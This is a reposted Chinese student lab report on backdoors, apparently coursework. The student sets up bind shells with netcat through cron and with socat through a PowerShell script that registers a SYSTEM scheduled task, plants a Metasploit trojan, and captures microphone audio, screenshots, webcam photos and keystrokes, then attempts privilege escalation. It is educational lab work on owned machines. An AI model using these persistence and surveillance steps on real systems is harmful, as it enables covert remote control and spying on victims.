卖不甜枣 发表于 2024-5-15 02:06:00

20212217刘恒谦-Exp2 后门原理与实践

实践过程纪录

使用netcat获取主机操作Shell,cron启动

​        ncat即Netcat,可以收发传输层数据,由攻击者使用。cron是Linux中用于按计划执行脚本的工具,在网络对抗中让受害者连接不稳固时,重连攻击者,由受害者启动。
​        既然如此,受害者需要是Linux,否则没有cron命令,我购买了一台阿里云Ubuntu服务器充当受害者。使用crontab -e编辑如下计划:
https://pic.imgdb.cn/item/65fd0a0b9f345e8d038b6de2.png
​        这样,天天凌晨2点,受害者就会开放5555端口,等待攻击。
​        之后,内网中的kali正向连接公网服务器,获取shell权限。
https://pic.imgdb.cn/item/65fd0ac29f345e8d038ede7e.jpg
使用socat获取主机操作Shell, 使命计划启动

​        socat可创建双向通道,支持众多协议和链接方式,可以当作ncat++,在linux中一样平常都支持该命令。
​        使命计划是windows中的使命情势,windows作为受害者,需要用socat接收kali传来的命令。
​        既然要进行网络通信,且为正向连接,就需要知道受害者的IP:
https://pic.imgdb.cn/item/65fd1d979f345e8d03f32230.png
​        最下一行代表WLAN局域网的IP,为192.168.56.1。
​        之后,在windows中以管理员身份打开powershell ISE,编写脚本创建使命。
# 定义任务的触发器(例如,每天凌晨 2 点执行)
$trigger = New-ScheduledTaskTrigger -Daily -At 2am

# 定义任务的操作(例如,运行 PowerShell 脚本)
$action = New-ScheduledTaskAction -Execute "D:\socat\socat.exe" -Argument "tcp-listen:2217 exec:cmd.exe,pty,stderr"

# 定义任务的权限(可选,默认为当前用户)
$principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount

# 定义任务的设置(可选)
$settings = New-ScheduledTaskSettingsSet

# 注册新任务
$taskName = "lhq20212217exp2"
$taskDescription = "网络对抗实验二"
Register-ScheduledTask `
    -TaskName $taskName `
    -Action $action `
    -Trigger $trigger `
    -Principal $principal `
    -Description $taskDescription `
    -Settings $settings​        为了加速实验进度,我使用管理员模式的powershell即刻执行了使命。
https://pic.imgdb.cn/item/65fd20549f345e8d03023f19.jpg
​        之后,在kali-wsl中使用socat - tcp:192.168.56.1:2217即可获取windows的cmd权限。
https://pic.imgdb.cn/item/65fd313b9f345e8d035be0e4.jpg
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

​        起首生成木马文件,通过socat传输到windows主机上:
https://pic.imgdb.cn/item/65fd3f409f345e8d03a812c5.jpg
​        windows主机接收文件到火绒信托区,避免误杀:
https://pic.imgdb.cn/item/65fd3f079f345e8d03a6cb36.jpg
​        之后,在windows中运行该木马步伐,返回Ubuntu,通过Ubuntu快速安装MSF - tomyyyyy - 博客园 (cnblogs.com)教程安装msfconsole,并连接木马
https://pic.imgdb.cn/item/65fd47039f345e8d03d31840.jpg
使用MSF meterpreter(或其他软件)生成获取目的主机音频、摄像头、击键纪录等内容,并尝试提权

​        本步调需要在上一步基础上进行,中途不可退出。由于公网服务器没有图形界面,我使用了在线网页的情势下载音视频等窃取到的数据。
音频(record_mic)

​        输入record_mic可截取1秒的音频。
https://pic.imgdb.cn/item/65fd49f39f345e8d03e3120f.jpg
截屏(screenshot)

​        输入screenshot可截屏,图片以jpeg的情势保存起来
​        看起来并不是很清晰
https://pic.imgdb.cn/item/65fd4b0d9f345e8d03e8dfad.jpg
照相(webcam_snap)

​        输入webcam_snap照相,相比于截屏,照片就清晰多了:
https://pic.imgdb.cn/item/65fd4b609f345e8d03eaf4de.jpg
录制键盘(keyscan_start,keyscan_dump)

​        使用keyscan_start开始录制,接着用keyscan_dump结束,我在这期间只按了一次Ctrl C。
https://pic.imgdb.cn/item/65fd4bcf9f345e8d03ed817d.jpg
提权(getuid,getsystem)

​        这一步要求使用管理员身份运行木马,之后在攻击机中先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。
​        不过在本次实验中,提权后仍然无法查看敏感信息。
https://pic.imgdb.cn/item/65fd4fc79f345e8d030336fe.jpg
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell


​        在MSF中通过-x file_path参数可按指定文件模板生成木马,这次的木马与上次不同,需要在Linux上运行。
https://pic.imgdb.cn/item/65fd568a9f345e8d032920d0.jpg
​        kali-WSL就是一台Linux,可以充当受害者,在kali-WSL中,通过wget下载公网上的lhq20212217_pwn_backdoor,并赋权执行:
https://pic.imgdb.cn/item/65fd5aaf9f345e8d0340f650.jpg
​        之后,到Ubuntu攻击机中,使用MSF连接木马:
https://pic.imgdb.cn/item/65fd5b239f345e8d03436c32.jpg
成功入侵Kali
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 20212217刘恒谦-Exp2 后门原理与实践